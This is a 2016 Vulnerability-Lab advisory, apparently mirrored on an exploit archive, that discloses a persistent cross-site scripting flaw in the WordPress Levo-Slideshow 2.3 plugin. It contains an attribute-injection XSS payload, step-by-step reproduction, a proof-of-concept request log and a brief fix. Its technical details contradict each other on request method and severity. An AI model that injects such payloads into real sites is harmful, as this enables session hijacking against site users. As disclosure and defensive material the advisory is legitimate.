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WordPress Levo-Slideshow 2.3 Cross Site Scripting

WordPress Levo-Slideshow 2.3 Cross Site Scripting
Posted Jun 8, 2016
Authored by Aaditya Purani | Site vulnerability-lab.com

WordPress Levo-Slideshow plugin version 2.3 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | bd16d9fe8a6bf8f0932f71f00892711a

WordPress Levo-Slideshow 2.3 Cross Site Scripting

Change Mirror Download
Document Title:
Wordpress Levo-Slideshow v2.3 - Persistent Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
Make sure you have a Levo slideshow a very effective technique to display unlimited number of product images within a single
box and just takes only few minutes to accomplish without getting too much into coding. No WP slider plugin has become as
wide-spread and as popular recently as this particular free WP Levo slider, offering a marvelous method for displaying a lot
of content in such a minimal space, and to mention also a great way to highlight your best and most popular product images
or articles in an enhanced way. And on top off all that, this indispensable, yet smooth and free WP slider plugin is incorporated
with amazing set of features including a colossal space set aside to main flash image, a miniature sized image, image reflection
option, description box with title, navigation arrows, auto-play/pause button, auto play timer into your WP powered websites or blogs.

(Copy of the Homepage: http://wpslideshow.com/levo-slidehsow/ )

Abstract Advisory Information:
An independent Vulnerability Laboratory Researcher discovered a persistent cross site scripting vulnerability in the official Levo-Slideshow v2.3 wordpress plugin.

Vulnerability Disclosure Timeline:
2016-06-06: Public Disclosure (Aaditya Purani)

Discovery Status:

Affected Product(s):
Go Responsive (Themes)
Product: Levo-Slideshow - Wordpress Plugin (Web-Application) 2.3

Exploitation Technique:

Severity Level:

Technical Details & Description:
A persistent cross site scripting web vulnerabilities has been discovered in the official Levo-Slideshow v2.3 wordpress plugin.
The client-side validation issue allows remote attacker to inject client-side script codes to compromise browser to application requests.

The vulnerability is located in the `image_description`parameter of the `Lenvo Image Upload` module. Remote attackers are able to inject
client-side script code. The `image_description` value is wrong encoded and not filtered by the regular validation. The attack vector of
the issue is client-side and the request method to execute is GET.

The security risk of the client-side vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the security vulnerability requires no a privileged web-application user account and low user interaction.
Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing, non-persistent external redirects,
non-persistent load of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
[+] POST

Vulnerable Input(s):
[+] Image Title
[+] Image Description

Affected Module(s):
[+] Edit Post

Proof of Concept (PoC):
The persistent cross site scripting vulnerability can be exploited by remote attackers without user interaction and with an uprivileged application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload
t" onmouseover=alert(document.domain); a='

Manual steps to reproduce the vulnerability ...
1. Go to Levo Slideshow and click to Manage Images
2. Add an Image
Include to the Image Title input and script code payload enter the payload as follows
Note: t" onmouseover=alert(document.domain); a='
3. Save it and Reload the Page and Game over. :)

--- PoC Session Logs [POST] ---
$GET: http://localhost:8080/wordpress/wp-admin/
Host: localhost:8080
User-Agent: {Some User-Agent}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wordpress/wp-content/plugins/wp-levoslideshow/html/edit_image.php?album_id=1&lvo_image_id=2&KeepThis=true&
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
Content-Length: 1370
If-Modified-Since: *
Content-Disposition: form-data; name="task"rn
Content-Disposition: form-data; name="TB_iframe"rn
Content-Disposition: form-data; name="album_id"rn
Content-Disposition: form-data; name="image_id"rn
Content-Disposition: form-data; name="image_thumb"rn
Content-Disposition: form-data; name="image_title"rn
t" onmouseover=alert(document.domain); a='rn
Content-Disposition: form-data; name="image_description"rn
t" onmouseover=alert(document.domain); a='rn
Content-Disposition: form-data; name="image_link"rn
Content-Disposition: form-data; name="thumb_link"rn
Content-Disposition: form-data; name="image_file"; filename=""rn
Content-Type: application/octet-streamrn

Note: After this gets saved, Go to http://localhost:8080/wordpress/wp-admin/admin.php?page=levoslideshow_manage&view=manage_album&album_id={Your Album where you saved}
And than Click on Edit, it will Trigger :) .Click the dit button to trigger the payload execution.

Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and encode of the vulnerable marked input fields.
Encode all inputs and restrict the input by disallowing the usage of special chars to prevent application-side injection attacks.

Security Risk:
The security risk of the persistent cross site scripting web vulnerability in the wordpress plugin is estimated as low. (CVSS 2.5)

Credits & Authors:
Aaditya Purani - (https://aadityapurani.com) [http://www.vulnerability-lab.com/show.php?user=Aaditya%20Purani]

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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